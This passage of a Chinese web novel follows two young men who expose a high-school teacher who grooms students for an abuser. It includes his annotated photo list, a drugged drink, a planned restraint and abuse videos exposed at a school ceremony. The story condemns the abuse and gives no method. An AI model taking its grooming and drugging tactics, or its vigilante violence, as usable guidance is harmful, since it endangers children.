不过,只欣赏了几秒,他怕一会把人问的炸毛了,笑着快速地把话接过来:“学习很好。没找女朋友,请问你们认识一个叫吴海昊的老师吗?” “原来是小吴的学生啊?” “小吴以前在这住,现在好几个月没看见他了。” 众人说。 其中一个全白头发的老太太在旁边开口。 “小吴教书教得挺好的。要是因为去年那个事。” 身边的人突然推了他一下。 傅生将两个人的动作尽收眼底,笑着问:“去年怎么了?” “你推我干什么?”老太太显然是个藏不住话的,她看向傅生,虽然牙掉了不少,却依旧没耽误说话利索。“去年有个小男孩非说小吴对他做那种事,哦呦,现在的小孩真是不得了,啥话都好意思向外说,先不说两个男人,一个大男人会对一个皮小子感兴趣?,就说小吴对他老婆,那么好的人,怎么可能办这种事。” 陆离在一旁皱了眉,听着老太太的话,又结合在校长那里听来的,真相差不多可以拼凑出来。 之前他只是觉得吴海昊不对劲,如今听见,他眉心颦起,落在傅生身上。 傅生眸子微垂着,在表面看上去像是在认真听别人讲话,可从他眼尾那抹眸光,陆离却能清晰地感受到他压下去的沉郁。 可为什么。 傅生按理说不会和吴海昊产生什么交集,他上高中的时候,吴海昊还在英雄中学里待着。 陆离捏着手指。 “那后来怎么又离婚了?”傅生声音沉沉地问。 老太太撇了下嘴,嫌弃道说:“被那家人闹得呗。小吴怕那群人找他家人的事,自动提出来离婚,这种好男人可不多了,可惜了。那小孩一家真是害人不浅。” 傅生讥笑一声:“确实害人不浅。” 就在陆离以为傅生会继续打听小男孩情况的时候,他却道:“谢谢您给我讲了这么多,就不打扰了。” 直到出了小区,傅生说:“走吧。” “去哪?”陆离抬头看向他。 傅生伸手轻敲了一下他的额头:“傻了?回家啊,还能去哪。” “现在就回去?”陆离皱眉,“那个男生——” 傅生垂下眸子。 他的眼皮很薄,平时的时候,笑的时候多,看起来懒懒散散像是什么都不入眼。可陆离觉得,傅生并不是什么都不入眼,只是压得很深,就像现在。 “都过去的事了,”他缓声说,“再去打扰别人干什么。” 那个男生家里人不论是出于想要钱,还是真的为了孩子好,这件事都不会再提了。 现在,吴海昊好好地待在学校里,用那副老好人的形象继续上课不就是答案吗。 说完,他很轻地笑了一声,看着陆离,又恢复之前的语气:“你现在既然知道他是什么样的人了,以后就离他远一点。” 剩下的事情就交给他。 他决定带着陆离过来,也是想着给他提个醒。 陆离想张嘴说些什么,只是想起来傅生刚才的模样,他又咽了下去,嗯了一声。 * 蒋文在院子里满脸埋怨的浇着花。 不是因为别的,主要因为傅生有个毛病,所有的花只买不养。 院子里各式各样地都摆满大半边了,这祖宗愣是一次花都没浇过,所以这项艰巨的任务,最后就落在了他身上。 蒋文嘟嘟囔囔地骂着黑心老板,结果一抬头就看到了黑心老板竟然在门口走进来,他立马变脸:“你这么早就回来了?陆离那个小鬼还没回来呢,这次不用担心他知道你出去——” 话还没说完,蒋文看着陆离从傅生身后走了进来。 他卡了一下:“你们俩在一起出去的啊。” 两个人都没理他。 陆离原本落后了一步,听到蒋文刚才的话快走了几步,看着傅生问:“为什么不能告诉我。” “告不告诉你,你都跟着去了,”傅生弯着眼睛,嗓音带笑,“有什么区别。” 蒋文在中间插嘴问:“你们干什么去了?” 结果依旧没有人理他。 陆离执拗地看着人:“不一样。” 傅生:“哪里不一样?” 陆离没搭话,沉吟几秒问出了之前就在想的问题,皱着眉说:“你接下来要做什么?” “我能做什么,我还是病号,”傅生笑了一下,伸出手在他眉心点了点,“别皱眉了,再皱就要变老头了。” 又是这样,陆离抿唇,眼睛垂了下去。 每次都是这样。 一有不想回答的问题,总是这样把话转开,为什么从来都不告诉他。 陆离看了他一眼,然后闷着头转身上了楼。 傅生看着陆离的背影,眼睛很轻地眨了一下。 再给他一点时间,他会把这些垃圾都清干净。 蒋文探头过来,看着陆离说,贱兮兮地嘿嘿笑着说:“你又把人惹生气了?” 傅生收了目光,斜睨他一眼,不冷不热地开口:“这个月奖金,扣了。” 说完插着兜转身上了楼。 蒋文一个人站在院子里懵逼,半晌他反应过来,朝着前边的王八蛋老板扯着嗓子喊道:“不是,你们两个吵架,殃及我这个可怜的路人做什么!” * 那天之后,傅生好像真的在安心养病,不是院子里躺椅上懒洋洋地晒太阳,就是在沙发上坐着看书。 陆离周一去了学校。 一到校,李学波就八卦地凑上来问:“你去英雄中学去干什么了?” 陆离将桌子上的书放在桌洞了,又将桌面擦了一圈,这才看他一眼,冷冷地道:“给自己找不痛快。” 李学波:“?” 果然学霸的世界他是无法理解的。不过这不妨碍他八卦:“生物老师不也是英雄中学的吗?” 陆离没什么兴致地嗯了一声。 他去了一趟英雄中学,不仅疑惑没有解开,反而更大了。 傅生为什么也会知道的英雄中学,和吴海昊之间又有什么关系。 然后,他莫名的想起来,傅生在病床上刚醒来的时候说的那句话。 那话说的平静,没有很大清晰起伏,却莫名地看的人难过。 好像是一个孤独了好久的人,踽踽独行走了好久,最终发现只有自己。 陆离眸光沉沉地捏着笔,身边二愣子却没有注意到他的情绪。 李学波自顾自地说:“不过生物老师应该不回那边了吧,毕竟那边家里也没人了。就两天假期,瞎折腾什么。” 陆离倏然愣了一下,他看向李学波:“你刚才说什么。” 李学波一怔:“就两天假期。” 陆离冷着声音说:“上一句。” 李学波啊了一声,想了想自己刚才说了什么:“不回那边了,家里也没人。” 陆离抿了一下唇,问道:“第几节是生物课?” 李学波在陆离的接连询问中,有些回不过神来,但还是非常顺从地回道:“第二节,第一节他在隔壁班上。” 陆离眯了一下眼。 他为什么非要回吴海昊以前的地方,现在住的地方不是也同样可以。 李学波觉得陆离这几天有些不太对劲,对生物老师的兴趣好像太大了,他凑过去压低嗓音问:“怎么了陆哥,是有什么八卦吗?” 四周学生翻着试卷,有的慌乱的补着作业,陆离却起身,几步出了教室门。 “不是,”李学波懵逼了一瞬,在身后喊,“这都马上上课了,你去哪?第一节可是班主任的课。” 陆离头也不回地说:“帮我请假。” 李学波急道:“请假说啥啊?” 陆离已经消失在楼道的拐角处,只冷淡地留下一句“随你。” 徒留李学波在座位上抓耳挠腮,欲哭无泪,他哪里知道应该怎么给学霸请假。 …… 那天吴海昊写下的地址被傅生丢在垃圾堆里,陆离当时瞥了一眼。 他记忆力很好,很多东西只看一遍差不多就能记住。陆离只需要回忆片刻,就想起了吴海昊家现在的地址。 吴海昊的地址住的很偏,甚至算得上有点荒废,周围都是工地,像这种老旧的小区,按理说路边会有老年人扎堆聊天,这边却什么都没有,一片死寂。 陆离径直走了过去,按照记忆的地址爬上了二楼。 二楼只有他一户。 门关着,铁门上都是锈迹,陆离眼睛在周围转了几圈,在楼道里摸了一块石头,他不会开锁,想的都是最原始的办法,刚想要砸下去,楼道下面却出来一个人声。 “我这就给你发过去,你稍等一下。” 陆离愣住了,这是吴海昊的声音,他现在不应该是在上课吗? 这个楼很静,是那种没有一点生活烟火气的静,似乎整个楼就他一个人家,陆离眼睛向上扫了一圈。 现在脚步声已经到了一楼拐角,就算是向上跑也会听到,他抿唇握着石头,沉着眼睛望着脚步声来的地方。 十、九、八…… 他默默地数着吴海昊大约几秒到。 这时,突然一只骨结匀称好看的手抓着他胳膊,扣在他的手腕上向某个方向拉去,陆离瞳孔猛然一缩,下意识地将人甩开。 身后的人低声音突然说:“是我。” 虽然刻意压低了声音,陆离还是瞬间听出了身后人是谁。 他脸颊紧绷的肌肉一瞬间放松下去,顺着那双手的力道进了一个黝黑的空间里。 这里面很黑,刚开始应该是个消防安全门之类的,不过后来应该废弃了,所以里面有一种尘土发霉的味道。 陆离抬眼看着自己眼前的人,因为光线比较暗,只能看到傅生脸部的轮廓,他此时垂着眼睛,脸上没什么表情,显得整个人很是冷淡。 空间很静,可惜清晰的听见外面吴海昊的声音。 他听见吴海昊在电话里说:“不用担心,这群半大毛小子嘴严得很。只要你拍个视频,威胁一下,什么都不敢说出去的。况且,若是小姑娘对异性戒备心会足一点,但男生不会。这就是给咱们得天独厚创造的机会。” 接着就是钥匙划过铁门的声音,咔嚓一声,门开了。 他可能知道这个楼上没有什么人,进门之后门都没关,声音在房间里传了出来。 “我这就把那些男生的照片给你发过去,你看看你看上哪个了?” 吴海昊应该是开始传照片了,房间里静默下来。 傅生却一直垂着眼睛,似乎在沉思什么,又像是压着什么情绪。 陆离抿了一下唇,他也不知道怎么想的,伸手窝在傅生落在身侧的手上。 那双手平时虽然也是温凉的,但是今天却像是一点温度都没有,陆离怔了一下,又将那只手握在自己手心里。 傅生眼皮这才小幅度地动了一下,却依旧没有说话。 房间里,吴海昊的照片可能传完了,电话那边不知道说了什么,他声音有些为难:“你怎么看上这个了?有点难弄,而且他的家庭状况复杂,和我了解到的也有些差距。还有就是他性格、有点臭。” 对方不知道说了什么,吴海昊开始动摇了一下。“也不是不行,我试试吧。不先给你讲了,学校里还有我的课,我请了假才回来一趟。” 房间里又窸窸窣窣了半晌,再然后又关上了门。 吴海昊的脚步声逐渐走远,直到消失,两个人才从安全门里出来。 光线亮了之后,陆离站在楼梯口看向傅生,他的脸色没有像往常一样,脸上的笑意消失了,显得冷淡而严肃,说话也不是以前缓慢懒散的调子。 “陆离,”他很少用这种语气喊陆离的名字,接着冷着声说,“我是不是给你说过,离这个人远点。” 陆离听着对方生气的声音,抿唇嗯了一声。 “是不是我平时太惯着你了?”傅生看着他,“要是刚才被吴海昊撞见你打算怎么做?” 陆离捏了一下手指,他其实也没有想到吴海昊会突然回来。 他低着头,闷着声说:“没想怎么做。” 傅生冷着声说:“石头都拿起来了,你告诉我没想怎么做?” 陆离低着头,不吭声了。 因为他刚才真动了这个念头。 傅生黑着脸,但看着陆离紧绷了唇角,最终没舍得说更重的话,声音稍微缓和了一点道:“回去再给你算账。” 他转身向前走了几步,在楼道边上杂物堆旁边停下来。 陆离刚开始以为他在找线索,结果看着傅生半俯身,在箱子上顺了条铁丝出来。 他拿着铁丝,手指灵活随意的折了几个弯,铁丝就被盘成钥匙形状。 插到了吴海昊老旧的房门上,只几下,铁门就开了。 陆离手指动了一下,他第一次知道傅生还会开锁。 他怔了几秒,然后跟着傅生进了门。 不知道是不是他的错觉,傅生自从进了这个屋子之后,脸色似乎更苍白了。 陆离想问一下,却看着他板着脸,最终没吭声。 吴海昊的这个房间不大,只有两室。两边的玻璃不是透明的,显得房间里阴沉颓败。 傅生看都没看周围,径直地走到吴海昊方才拍东西的桌子前。 陆离颦了一下眉,薄而长的眼睛眯了一下,也跟过去。 不知道是对这个地方太放心了,还是时间紧忘了收拾,此时桌子上放着一堆照片。应该是刚才拍照的那些,是他们高三在学校里统一照的证件照。 里面那些人,陆离差不多都在学校里见过。甚至他们班的,还有几个,上面都被排了编号。 傅生伸手,在照片里随意翻了几下,直到落在旁边那个熟悉的身影上。 他眸子一沉,手指捏着照片拿起来。 ——里面的人表情虽然冷,却盖不住眉眼锋利,长相优越。 他眼神收缩,强压住怒意,又看了眼照片的后面,空白的地方被记号笔写了编号。 编号001。 说明,陆离是他第一个盯上的人。 照片旁边还有一张纸,上面写着001,优点:家庭环境很差,家长不管。 缺点:性格不好,不好相处。 解决方法:先赢得对方信任,再缓缓图之。 不过这一行被划掉了。 下一行写的是:动用强硬手段,必要时直接下-。 虽然那个字没写出来。 但那些肮脏手段,不用想就知道是什么。 傅生的手指捏的纸越来越紧,直到指尖都泛了白,他一想到这些手段,吴海昊要用到陆离身上,心底就升腾起不可控制的怒气和沉郁。 陆离看出了他的不对劲,喊了一声:“傅生。” 傅生紧抿着唇,脸颊紧绷成一条直线,好久才说:“先回去。” 一路上,傅生都阴沉着脸,那双棕色的眸子微垂着,气压被压很低。 就连司机在后视镜频频看着他们,却一句话都没敢多说,放下人就跑了。 陆离还是第一次看到这样的傅生,他知道是因为吴海昊对他的心思惹恼了傅生,他抿了一下唇,将复杂的情绪压在喉咙里。 回到古董店,蒋文都被傅生吓了一跳。 “咋了这是?” 傅生冷着脸谁也没看,径直的向房间里走。 蒋文又看向陆离,刚想开口问,又觉得算了,问这个闷葫芦更完蛋。 他跟着回了客厅,哆哆嗦嗦的看着傅生坐在沙发上,脸色难看得吓死个人。 三个人没有一个人开口说话。 蒋文只能看看这个,看看那个,最后眼观鼻子鼻观心盯着自己的脚尖。 一直到晚上十点,傅生起来接了个电话,声音像是冬夜的寒潭:“嗯,在巷子口等着我。” 他挂了电话起身,慢条斯理地给自己套上一副黑色手套。 虽然他讨厌以暴制暴,但是有时候,暴力通常是最简单也是最可行的方法。 蒋文有点蒙了。 他看着傅生站在灯光下,整个人显得极为冷淡,不是陆离的那种性格冷,而是游离世界之外脱离众生的残忍。 这让他有一瞬间看起来真的很陌生。 “你——你要去干什么?”蒋文哆嗦着嘴唇问。 傅生只是看了他一眼,转身就向外走,他不需要向任何人解释。 他只要结果。 只是刚迈出房门,还没走出去。 “哥。” 他听身后的人喊了一声。 傅生静默几秒回头。 陆离抿了一下唇,眼睛在灯光下像是蒙了一层玻璃,声调还是冷的,却缓慢地开口问道:“你能不能——别去。” 傅生眼皮微动,尽量用平和的语气说:“在家等我。” 陆离的手却没有松开,只是眼睛压着情绪,好半晌才开口:“这次,能不能交给我。” 他不想每次都是傅生给他兜底。 他想站在平齐的地方,成为傅生的退路。 【作者有话说】 这次,我来抓住你的黑暗。 (上一章结尾改了一点点。) 第0037章 第 37 章 ◎两个个体。◎ 灯火下, 傅生看着陆离的神情,薄而瘦长的手指,此时正抓着他。两个人之间隔了一层手套, 感受不到彼此的温度。 但那双黝黑的眸子那样看着他, 他胸口里却像是被什么不轻不重的捏了一下, 有点酸, 却软的一塌糊涂。 胸口那股郁气在胸口翻滚又逐渐归于平静。 傅生的手指动了一下, 兜里的手机铃声打破微妙的寂静,他垂着眸子,低着声音对对面的人道:“暂时取消。” 直到这话说完,提着一口气的绷着神经的蒋文才深深的松了一口气:“这样才对嘛,什么事情商量一下。” 虽然他不知道发生了什么事。 周围安静下来。 傅生站了一会, 看着陆离须臾才道:“若是处理不了,还有我。” 无论什么, 他都可以兜底。 陆离很轻的撩了一下眼皮:“嗯。” 第二天一进学校门, 陆离就被班主任截住了。 班主任拿着保温杯看着他,笑着说:“回来了?回家的时候别忘了帮我给你哥说一声新婚快乐。” 陆离:“?” 他皱着眉看向班主任那喜气洋洋的脸。 “李学波不是说你昨天请假不是因为你哥结婚了吗?这个年龄结婚也正常,你哥哥是哥好人, 也不用担心你有了嫂子他就不喜欢你了。”说到这里, 他停顿了一下, 班主任左右看了他一圈说,“你这孩子, 怎么也提前说一声, 老师还想喝杯喜酒呢。” 陆离眼睛含着冰,话都没有说, 转头进了屋子。 李学波来得早, 抬手跟陆离打了声招呼:“回来了陆哥。” 说完, 就接着转头给周围的学生开始扯,“昨天的时候,在路上看到一个狗和一只猫打起来了,那猫一套组合拳下来,那场面鸡飞狗跳,狗毛乱飞,我都替狗默哀三分钟。” 只是他讲着,却倏然发现周围的学生都以一种奇特的眼神看着他。 李学波摸了一把脸:“不是,你们都这样看着我干嘛?” “你别提狗狗默哀了,”一个女同学眼神朝着他身后瞄了一眼说,“你还是替自己默哀三分钟吧。” “啥啊?”李学波这才停下来。 这么一安静,他才感觉到自己的背上似乎有一道针扎般的视线。 李学波僵尸一样慢慢地转头,然后看着陆离冷着眼睛看着他。 “陆哥,”李学波干笑了一声,手摸着自己的脖子,“你这样看着我干嘛?” 陆离声音冰冷:“我哥结婚了?” 李学波下意识的躲了一下,给自己辩解道:“这不是昨天请假,没有想起来其他理由吗?” 昨天班主任来的急,一进门就看到了陆离空着的座位。他差点把自己脑细胞都费干净,才想起来这么一个办法。 虽然李学波不知道为什么提着他哥结婚,陆离会这么生气。 但是他认错快:“我错了,陆哥。下次我再换个理由。” 陆离冷着眼睛看了他半晌,才重新坐在旁边的位置上。 李学波凑了过去:“所以昨天你干什么去了?” 陆离没答,只是拿出课本,冷着声音说:“这周六,帮我个忙,” 李学波怔了一下,陆离很少寻人帮忙,不对,不是很少,应该是从来没有。 他很快反应过来,拍着胸口说:“放心陆哥。包我身上。” 生物课是第三节课,吴海昊拿了一搭试卷进了门。 课代表给学生发下去了试卷,吴海昊叮嘱了几句认真审题之后,就开始背着手在教室里晃。 陆离写上自己的名字,刚看完第一题,就感觉一个人影停在了他边上。 他没抬头,只是向里挪了一下,避免这个恶心的人碰到他衣服。 “昨天怎么请假了?”吴海昊推着眼镜,很好脾气的问。 陆离冷着声音说:“有事。” “快考试了,”吴海昊用语重心长地语气说,“把重心要放在高考上,其他的事可以向后放一下。” 陆离嗯了一声。 吴海昊又继续道:“昨天落下了两节课,什么时候给你补上?” 他其实也没有报什么希望,就随口提一下,毕竟这个学生冷淡的要命,简直到了油盐不进了地步。 他原本以为陆离的原生家庭这么差,只要按照传统的方法接近他,再让他打开心扉就行了,没想到半路里冒出来一个什么哥哥。 这不得不让他改变计划,再找什么别的办法。 吴海昊皱着眉深思。 谁知,边上的陆离倏然说:“这周六吧。” 吴海昊一时间没有反应过来,愣了一下:“什么?” “这周六有空吗?”陆离抬眼,那双冷如玻璃的眼睛看了他一眼,然后又冷着声音添了一句,“吴老师。” 吴海昊有一瞬间被巨大的惊喜击中的错觉。 他推了推眼镜,唯恐让别人看到里面藏匿的贪婪,开口说:“有空,有空,你们什么时候找老师,老师都有空。” 再转过头去的时候,他走路都有点飘,陆离撩起眼皮看了一眼,又很快的把头低了下去。 这几天,傅生和陆离都很默契的没有提吴海昊的事。 傅生又恢复了之前的状态,没事逗逗人,再或者扣扣工资,似乎那天只是不经意之下的偶然的失态。 只是,只有陆离知道,傅生晚上的时候,会长久的站在窗户旁。 像个孤独的旅人。 他打开手机,随意发过去了一个表情。 很快,傅生的消息就回复过来。 傅生:[怎么还不睡。] 陆离:[你不是也没有睡?] 傅生:[胆子肥了?讨喜也不能管长辈,小鬼。] 陆离垂着眸子,他从小就知道自己的性格不好,不和其他孩子一样,嘴甜的讨人喜欢。 他也想过让自己的性格变的讨喜一些。 别的小朋友都吵着吃糖的时候,他从来不要。 别的小孩因为自己需求得不到满足嚎啕大哭的时候,他也从来不哭。 只是这样并没有让人更喜欢他一点。 直到长大了,陆离才知道,没有一个孩子是因为听话懂事讨人喜欢的。 他只是天生不被期待,多余的人罢了。 可现在有一个人告诉他,自己天生就讨他喜欢。 陆离的手指动了动,低头在手机上打字。 陆离:[下周一,学校有表彰会,你来吗?] 这次的消息发过去,好长时间没有人回应,就在陆离以为人睡了的时候,旁边的窗户推开了。 傅生披着衣服,手里端着一个白瓷杯子,胳膊放在窗户的沿台上,弯着眼睛看了过来:“表彰会上有你吗?” 其实他心里知道,陆离肯定会在上面。 原本这个时间他是不想讲话的,但是不知道为什么,看到陆离的消息,还是鬼使神差的就把窗户推开了。 陆离倚在玻璃上,看着人,半晌点了点头。 傅生喝了一口咖啡,没再说话。 陆离也没讲。 两个人就趴在窗户前,看着天空的繁星看了好久。 周六那天,吴海昊起了个大早。 原本还约着其他学生的,结果听到陆离要来,他快速地将另一个学生推了。 他桌子上那些学生的照片,已经被他收了起来。 只是不知道什么时候少了一张,陆离那一张证件照怎么也找到不了。 不过没关系,人都来了,照片有没有的也不在乎了。 吴海昊越想越开心,拿着毛巾将家里前前后后的擦了一遍。 房子本来就不大,他收拾完,看了眼时间,也才八点。 原本以为陆离不会来这么早,他坐在沙发上给自己倒了一杯茶,结果刚喝了一口,铁门就被人叩叩的敲了几下。 吴海昊眼睛一亮,起身整理了一下自己的白衬衫,这才出了门。 陆离站在门外,薄薄的眼皮耷拉着,显得眉眼凌厉又好看。 吴海昊推了推眼镜:“来这么早?” 陆离嗯了一声,低着头进了门。 吴海昊将门关上,指了指沙发说:“你先坐在那里,吃早饭了吗?” “吃了,”陆离将书包放在沙发上,将里面的生物试卷拿出来,“从哪里开始讲?” “你刚来到,先休息一会,”吴海昊一边笑着,一边走到了厨房。 他在手机上找到联系人,发了个地址过去,又对着客厅的陆离喊道, “吃早饭了吗?” 陆离直接说:“什么时候开始讲题。” 吴海昊在厨房端了杯牛奶出来,递给了陆离:“慌什么,不用着急,喝牛奶吗?” 陆离看着明显被打开过得瓶口,眼睛里闪过一丝嘲讽,他接过去,却没有喝。 吴海昊也没有催,反而坐在沙发上像是长辈的闲聊一般地问道:“那天看到的是你哥哥?” 陆离看着他:“嗯。” 吴海昊眸子动了一下:“亲哥?” 陆离:“不是。” 听到这两个字,吴海昊才明显的松了一口气,只要不是亲的,关系再好也没有用。 他这才放心了,将长腿一伸,是一个放松的姿态。 慢条斯理地拿起茶杯,喝了一口,还没有咽下去,就听沙发上冷着脸的陆离继续道:“是我喜欢的人。” 吴海昊一口茶喷了出来,落在他好不容易打理好的白衬衫上。 “你是跟老师说着玩的吧?” 陆离看他一眼,又在他衬衫的污渍上扫过去,冷凌凌的,像是嘲讽。 最后没说话,低头拿出了生物试卷。 “还讲吗?”他冷着声音说。 吴海昊莫名的被他刚才的眼神看的有点犯怵。 他抓过沙发上的毛巾,胡乱的在衬衫了擦了擦。 “讲,你等等老师,老师进去换身衣服。” 他走进屋子里,将身上沾了水的衬衫脱下来。 不管陆离刚才说的话,是不是真的,那副冷淡模样,八成哄骗不了。 不能再这么下去了,再这么拖,单主都要来了。 吴海昊的眉心一沉,将目光落在墙角的那堆麻绳上,直接用硬的行了。 他打开卧室门,拿着绳子放在身后,目光落在沙发上的陆离身上。 就在一步一步沉着眼睛的走过去的时候,铁门又被叩了几声。 这么快就到了? 吴海昊眯了下眼,看了陆离一眼,见人低着头做题,根本没有向门口看,他才走过去开门。 只是刚打开门,他的额头就皱了起来。 “李学波?怎么是你?” “吴老师,”李学波背着书包站在门口:“我听陆哥说今天老师您给他补课?我那天的题也没有听太懂,所以也想听一下。” 说完,他看着吴海昊的脸色,又补充了一句:“老师,您不会不欢迎我来吧?” “怎么会,”吴海昊阴沉的脸上僵硬半晌,努力露出个笑,“老师巴不得你们都爱学习,找老师补课。” 他一边说,一边计算之前的安眠药还剩多少,够不够这个小王八蛋用的。 “真的吗?”李学波露出惊喜的表情,接着在吴海昊的注视下,朝着一楼的拐角摆了摆手:“你们都上来吧,生物老师不生气。” 吴海昊:“?” 什么都上来? 接着,他就听见一堆凌乱的脚步声上了楼。 楼梯的门口瞬间冒出了七八颗脑袋。 吴海昊看着那些头,脸都麻了。 他半晌才找到自己的声音:“这么多人,老师可能一次讲不过来,要不你们明天来?” 李学波在吴海昊旁边挤了过去,进了房屋,吵吵道:“老师,你上课的时候怎么讲的,现在就跟我们怎么讲就行。” 身后的那群兔崽子也符合:“是啊是啊,上课五六十人都没问题,现在少了十倍,就更没问题了,我相信你老师。” 吴海昊看着自己的房间被一群毛头小子霸占,气的差点鼻子都歪了。 他深吸了一口气。 刚进去,就看了一个手贱的小鬼坐在沙发,拿着刚才他递给陆离的奶就要向嘴里送。 那里面被下了料。 吴海昊下的脸色一白,也顾不得别的,当即吼道:“不能喝。” 那个男生吓了一跳,手上没拿住,奶瞬间掉在地上。 吴海昊没躲闪开再次被溅了一身。 那男生惊讶一声:“啊,老师对不起,我不是故意的。” 吴海昊强忍脾气:“没关系,一会老师洗洗就好了。” 说着,拿起来旁边的毛巾又擦了擦。 他这么一番动作,刚才被藏着的绳子就在身后露了出来。 李学波咦了一声:“老师你拿着绳子做什么?” 接二连三失误,让吴海昊已经失去了耐心。 “没什么,”他咬着牙说,“顺手拿的忘了放下了。” 陆离看着吴海昊的狼狈样,看了几秒,眼神嘲讽。 现在时机差不多了,他对着李学波递过去递过去一个眼色。 李学波当即收到,向前窜了一步。 “老师,你这样是擦不干净的,我妈在家里教过我,怎么快速地吹干这种衣服。” “不用了,”吴海昊推拒了几下,想发脾气又活活忍了下来,“老师一会自己处理。” 可惜他遇到的是李学波,缠人本事是经过光明顶盖章的,吴海昊被他半推半抓的拉到了阳台上。 其他几个学生也凑热闹一般的凑了过去,将阳台围的水泄不通。 陆离眼睛向那边瞥了一眼,目光转到了吴海昊几乎不离手的公文包上。 ——里面有吴海昊从来不外借的电脑。 学校老师说过,吴老师这个人什么都好,就是对自己的电脑,保护的跟小媳妇一样。 只有秘密,才会被保护的好。 陆离眼睛眨了一下。 吴海昊在阳台上又是被拉,又是被扯,最后还被人拿走吹风机乱吹一同,脑子差点七零八落。 但谁让他在学校里立的人设是从不发脾气的老好人,有什么只能自己担着。 吴海昊深吸了一口气,声音几乎是在喉咙里绷出来的:“老师今天头有点疼,要不改天再补吧。” 李学波很是遗憾的啊了一声,眼睛却滴溜一圈落在了陆离身上。 陆离看了他一眼,将试卷都装进了书包里,挎上书包正准备走。 陆离走,他也走,李学波说:“那行,就不打扰老师休息了。” 其余学生也七嘴八舌道:“老师再见。” 吴海昊被乱的脑子一抽一抽的疼,已经没有力气再说话,坐在沙发上无力的摆了摆手。 意思很明显:快走。 七八个人窜到了门口,刚打开门,一个大肚便便的男人跟堵墙一样堵在门口,抬起手来想敲门。 门一开,他见鬼了一样看着这么头冒出来。 他不可置信的看了一眼手机上的地址。 没走错啊。 这么多他可吃不消。 “你们都是兔子?”男人问。 “什么兔子?”李学波探头。 “你找我们生物老师啊,他在里面。”一个学生说。 吴海昊吓得一个激灵在沙发上坐起来了,此地无银三百两的抓紧赶人。 “这是老师的朋友,你们先回去,以后再来补课。” “都走?那你给我留的哪个?”胖子当时就不乐意了,“你这不是唬人玩,让我白跑一趟。” 吴海昊怕他在学生面前再说出什么,一把将人拉进屋子里。 “你们先走吧,老师和朋友们有点事。” 李学波看了一眼身后被紧关的铁门,挠了挠头。 直觉告诉他,不对劲,很不对劲。 他们下了楼。 陆离斜挎着书包走在前面。 “到底是怎么回事啊,陆哥。” “是啊,生物老师怎么了?” “刚才那个男的又是来干什么的?” 陆离垂眼,没回答,只是捻了一下指尖。 “等周一就知道了。” 表彰大会算是学校一年一度,对学生的嘉奖和总结,所以需要全校的师生和家长一起参加。 周一。 陆离站在表彰会的讲台上,看着傅生穿着一身黑衣在家长席上落了座。 这么多的面孔,陆离能准确的落在他身上。 隔着人山人海,两个人视线相碰。 一个站在灯光炽亮的台上,一个坐在灯火昏暗的台下。 很快,学校的领导清了几声嗓子,开始讲话。 这些繁琐的流程很长,傅生原本应该没有心思听这些的。 可是看到陆离在台上,穿着蓝白的校服,身材颀长的站在学校的荣耀之下,他心里涌出不知名的情绪,就像是前世和现在交汇在一起。 好像,本该如此。 那个少年本该如此。 陆离显然也注意到了他的视线,上台讲话之前,无声地比了比口型。 “等我。” 傅生笑了一下。 陆离的话少,就算是表彰会上也不例外,只冷淡的说了几声就下了台。 学校领导也知道他的性格,拿他没有办法。 他没有回到学生席上,反而坐到了傅生身边。 傅生笑着说:“话这么少,慌着回来干什么?” “见你。” 傅生愣了一下。 可陆离头也没抬,似乎只是随口一说。 他将那点怔然很快就敛了回去,笑着说:“吃什么了,嘴这么甜。” 陆离目光在他唇上一扫而过,没回答,片刻转过眸子看着台上,低声说:“来了。” 傅生原本还在想什么来了,抬头就看见吴海昊走到了台上。 表彰会当然不只是表彰学生,还有老师。 吴海昊教学成绩好,脾气也多被人称赞,他能上去,傅生并不意外。 只见他拿了一个u盘上台,插在电脑上调试了几下,大屏幕上很快出现了这次演讲的ppt。 他抓着话筒,清了清嗓子说:“感谢大家对我教学的认可,这对我来说是最大的鼓励。” 他确实很有好老师的姿态,说话不急不缓的,很能带动别人。他在电脑上点了几下,大屏幕上就出现了几张照片。 是学生在上课的情况。 “其实我也不会教学生,也没有什么教学经验,只是将学生看成自己的孩子。” 傅生听着吴海昊的话,嗤笑了一声。 “因为我相信,只要足够爱,学生们一定能感受的到。” 他这一番肺腑之言,让很多家长连连称赞,观众席上瞬间响起了热烈的掌声。 吴海昊很满意的自己的成果。这些家长在他眼里无异于蠢货。 只要讲两句话,做做姿态,就能赢得他们的信任。 他推了推眼镜,还想说些什么的时候,却见观众席上似乎一瞬间变了脸色。 “这是什么?” “他怎么能放这些。” 吴海昊刚开始还不知道发生什么事了,低头看到自己的电脑屏幕时,瞳孔骤然收缩。 他又扭头看着后面的大屏幕,猝然放大的画面差点让他瘫在地上。 只见屏幕上,无数个小窗口都在同时播放着污秽的画面,这些小画面上的人都不尽相同,却又有地方出了奇的一样。 ——少年单薄脊背被耷拉着肚皮的老男人强迫的压在桌上。 扩音器的声音还在响着。 不堪入耳。 无论是家长还是老师都是脸色聚变,有些甚至干呕了几声。 校长坐在台上,朝着吴海昊喊:“怎么回事,吴老师?” 吴海昊瞬间回过神来,抓紧解释:“可能是中病毒了校长。” 校长黑着脸说:“抓紧停掉。” 这么大的场合,出了这么大的纰漏,他很难再有好脸色。 观众席上的家长脸色也没有还看到哪里去。 “怎么能给学生看这种东西。” “这学校怎么监管的。” “我们怎么放心孩子交到这里。” 吴海昊刚才的谈笑风生一瞬间成了笑话。 他脸上急出了汗,手指在键盘上猛然敲打几下,却发现自己电脑上的画面根本停不掉。 学生群里也是一阵躁动。 李学波看着那些画面在,皱了一下眉,捯了一下旁边的学生:“长江,这画面里的地方你看着眼熟不眼熟。” “是有点眼熟,”长江看了须臾,倏然恍然大悟说,“这不是吴海昊家里吗?” 这么一提,李学波就认出来,画面中桌子上的那盆仙人掌,和吴海昊家里的一模一样。 “这不是病毒,”李学波大声说,“这是吴老师家里。” 他一喊,一些去过吴海昊家的学生也认出来了。 “这是吴老师家。” “是,我去过,一模一样。” 校长在学生的喊声中,脸黑的都要滴出水来了,“各位家长,不好意思,此次会议先到此为止,今天出了一点事故。” 家长却也不是好忽悠的。 “什么事故啊,学生们的话我们都听到了。” “你们怎么聘请这样的人做老师?” “这件事必须给我们说法。” 吴海昊一直以来带在脸上假笑似乎在这一刻化掉了。 怎么会突然蹦出来,好端端怎么突然会变成这样。 他皱着眉想不明白,突如其来的变故,让他大脑像死机一样。 看着周围人愤怒的脸,他脑子里只有一个念头。 不能再留在这里了。 得先走。 他左右看了看,想直接趁着混乱离开,可惜几名家长像是看出来他的意图,却将人团团围住。 